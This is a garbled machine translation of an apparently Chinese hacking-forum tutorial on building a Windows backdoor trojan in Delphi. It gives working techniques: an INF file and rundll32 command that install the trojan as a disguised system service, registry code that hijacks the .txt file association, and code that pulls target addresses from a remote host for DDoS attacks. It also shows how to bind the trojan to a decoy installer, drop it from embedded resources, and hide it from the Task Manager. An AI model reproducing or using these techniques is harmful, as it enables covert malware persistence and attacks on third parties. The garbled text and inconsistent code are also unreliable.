On the development of the system of back door software a few ideas-vulnerability warning-the black bar safety net


Foreword Now the system of back door software are numerous, but most of them have one common problem, that is, the system load is very easy to be savvy veterans are perceived. And met like“Skynet”or“Jinshan network Dart”network _blank">firewall basically it's over. The other day in the online saw a an article called the Do all in cmd shell on the article inside about the program loaded comparison clever, based on NT 2 0 0 0\XP-so the system basically can already do General. In this I used Delphi, and mimic some of the classic Backdoor software functionality to write a Virus, I hope with you master common AC programming experience, can be considered to review previously learned knowledge:) System load Read to here, estimated that many friends will immediately associate HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run and Win. ini in the Load. Yes, but from the practical standpoint, now and then with such a start has been a little behind. And if your program achieve a lot of features, but if in the start aspect out of the question, not a depressing thing? In this case, according to the Do all in cmd shell of the author's ideas, we can write an inf file, use this file to configure a system service program. Thus, our Backdoor can unknowingly with the system service start together. But this scheme has a limitation: only applies to NT\2 0 0 0\XP here is a quote the author of the original: Now, let's use inf to add a system service [Version] Signature="$WINDOWS NT$" [DefaultInstall. Services] AddService=inetsvr,,My_AddService_Name [My_AddService_Name] DisplayName=Windows Internet Service Description=provides on the Internet Information Services Management Support. ServiceType=0x10 StartType=2 ErrorControl=0 ServiceBinary=%11%\inetsvr.exe Save for the inetsvr. inf, and then rundll32.exe setupapi,InstallHinfSection DefaultInstall 1 2 8 the %systemroot%\system32\inetsvr. inf in here I original made a point modified [Note: the%systemroot%is an environment variable assuming your system folder is C:\Windows, then the%systemroot%path is C:\Windows General 9 8 or XP, assuming your system folder is C:\winnt, then the%systemroot%path to C:\winnt for 2K] This example adds a named inetsvr the service is not very like the system comes with the service, Oh on. Some points to note: 1, The last four items are Service type: 0x10 as an independent process services, 0x20 for shared process services such as svchost; and Startup Type: 0 system boot time loading, 1 OS initialization when loaded, and 2 by the SCM, the Service Control Manager to automatically start Action, 3 manual start, 4 disabled. Note that 0 and 1 can only be used for drivers Error control: 0 to ignore, 1 to continue and warning that 2 To switch to the LastKnownGood settings, 3 blue screen. Service program location:%1 1% represents the system32 directory%1 0% indicates that the system directory(WINNT or Windows),% 1 2% of the drive directory system32\drivers and. Other values, see the DDK for. You can also needless to variables directly using the full path Path. This fourth item is a must have. 2, In addition to the examples of the six projects, there are LoadOrderGroup And Dependencies, etc. Not commonly used so no description . 3, The inetsvr behind the two commas, because the middle is omitted not a commonly used parameter flags. To delete a service: [Version] Signature="$WINDOWS NT$" [DefaultInstall. Services] DelService=inetsvr Very simple, isn't it? The following step is to in Delphi calls this inf installation services. We can use the shellExecute function, the specific usage of shellExecute(handle,nil,pchar('rundll32.exe setupapi,InstallHinfSection DefaultInstall 1 2 8 the %systemroot%\system32\inetsvr. inf'),nil,nil,sw_shownormal); I think here sw_shownormal a little not very good, because in this parameter. cmd shell window is visible, don't know you Is there any better way? However, I think the shellExecute function has a benefit-------if the application cannot find the inf, on a computer screen does not have any reflection. Simply put, it is not the message fault: of course, if you are not assured that you can also use the GetWindowsDirectory function to the inf file for the absolute positioning, but here I feel as if none of this is necessary. Doubts: here we are sharing type ServiceType=0x10 belonging to the independent process services. It is estimated that the virus to access the Internet would be subjected _blank">firewall blocker. But like similar svchost and lsass such a shared process services but will not, if we take the ServiceType value to 0x20 I think the situation will change, but here I have no in-depth study. File Association In accordance with the usual practice, we can txt associated text to be modified, the registry key value to point to our backdoors. The code below can do this:) var Trojan: TRegistry; FileExt:String; FileType:String; FileDescription:String; ExecName:String; WinDir:String; begin FileExt:='. txt'; FileType:='text documents'; FileDescription:='text documents'; SetLength(WinDir,1 2 8);//get the Windows directory GetWindowsDirectory(PChar(WinDir),1 2 8); SetLength(WinDir,StrLen(PChar(WinDir))); ExecName:=WinDir+'\system32\inetsvr.exe';//here the inetsvr. exe our virus program Trojan:=TRegistry. Create;//Create the registry object try Backdoor. RootKey:=HKEY_CLASSES_ROOT;//registry root key if not Backdoor. OpenKey(FileExt, True) then Exit; //when created in the registry file types fail when you quit, generally is a registry error Backdoor. WriteString(",FileType);//write the file type of the data Backdoor. CloseKey; if not Backdoor. OpenKey(FileType,True) then//open file of type FileType keyword Exit; Backdoor. WriteString(",FileDescription);//write the file description data if not Backdoor. OpenKey('shell\open\command', True) then//open the sub-key Exit; Backdoor. WriteString(",ExecName); Backdoor. CloseKey;//close the keyword finally Backdoor. Free;//Free the registry object end; end; Thus, as long as the user double-clicks a txt file, our inetsvr. exe will also follow start. Attack control Few days ago on the Internet saw an article about using bat batch file to control the virus program to attack others website for an example. Since I was the one that the instance is not yet fully clear, but we can use other way to instead of the bat. Below we come to realize this process: First, you can apply for a home space that is http://www. attack. com/delphiscn it. Upload an ipaddress. txt document. The content of the 1 9 2. 1 6 8. 0. 1 Here the 1 9 2. 1 6 8. 0. 1 is we want to attack the website address. In Delphi, add the following statement: var ipaddress:integer; NMhttp. Get('http://www.attack.com/Delphiscn/ipaddress.txt'); ipaddress:=strtoint(NMhttp. Body); NMhttp. Free; Thus, our program got to attack the site address IPaddress and the IPAddress by our own control:) The next is concerned to attack, we can be in the program added a piece of code. To 1 9 2. 1 6 8. 0. 1 non-stop to send data packets. Cause the remote server refused to respond, which is often mentioned[DDOS](<http://www.myhack58.com/Article/60/sort096/Article_096_1.htm>a). Of course you can also use a similar Ping such a method, due to the relatively simple, there is no longer dwell. File hidden If you design The program function more powerful, maybe more than one executable file, but we can not be like other shared software to do the setup. One of the most simple method is to use copy/b setup.exe+run.exe set. exe command the need to run the program loaded in the front an executable program behind the setup. the exe file functions there are two, one is to display the artifacts so others don't know this is a Trojan installer, whichThe second is the real object from the specified word length locate the Trojan program to intercept down and run installed, due to Trojan services section uses“stealth”technology, so there will not be perceived, the code portion is to locate the copy here is not fine. There is a method in the resource file RES, pre-loaded Trojans, and in the form of data stored in the current executable file, in the right moment to release. The code below can be used from the RES to release the specified file: procedure runvirus(from:pchar;FiletString); var tempdir:string; Buf:pointer; size:longint; h,ResHandle:Cardinal; zip:File; begin h:=GetModuleHandle(pchar(extractFilename(paramstr(0)))); tempdir:="; reshandle:=FindResource(h,Makeintresource(1),'DAT'); buf:=Pointer(loadresource(h,reshandle)); size:=SizeofResource(h,reshandle); assignfile(zip,tempdir+fileto); rewrite(zip,1); try blockwrite(zip,buf^,size) finally closefile(zip); end; end; Resource file test. rc made as follows: * Contents: 1 DAT "test.exe" * Production: BRCC32 test. rc * In the resource file by adding: {$R *. DFM} //Added to test. RES, if not this line, when the Trojan is released when the file can't find resources error message, be sure to pay attention to this problem:) {$R test. RES} * Function calls: if not Fileexists('test.exe') then runvirus('DAT','test.exe'); In addition, attach a few of the more common tips: The Task Manager in the invisible: We can use the clear title of the method: program Project1; uses Forms, Unit1 in 'Unit1. pas' {Form1}; {$R *. RES} begin //Set here title clear Appilcation. Title:="; Application. Initialize; Application. CreateForm(TForm1,Form1); Application. Run; end. On the toolbar invisible: By using the SetWindowLong function to: SetWindowLong(Application,Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW); To prevent the program from repeatedly running: In making use of port services, often to prevent a program executed repeatedly, because the same parts of the copy at run time will use the same IP address and same port, will inevitably produce conflict. So, in order to prevent program secondary execution. We can be in the program startup event add the following code: Suppose we program the title to Neverland program Neverland; uses Forms,Windows,SysUtils, Neverland-in 'Neverland. pas' {Form1}; {$R *. RES} var hMutex:HWND; Ret:Integer; Begin Application. Initialize; Application. Title:='Neverland'; hMutex:=CreateMutex(nil,False,'Neverland'); Ret:=GetLastError; IF Ret<>ERROR_ALREADY_EXISTS Then Begin Application. CreateForm(TForm1, Form1); Application. Run; End Else ReleaseMutex(hMutex); end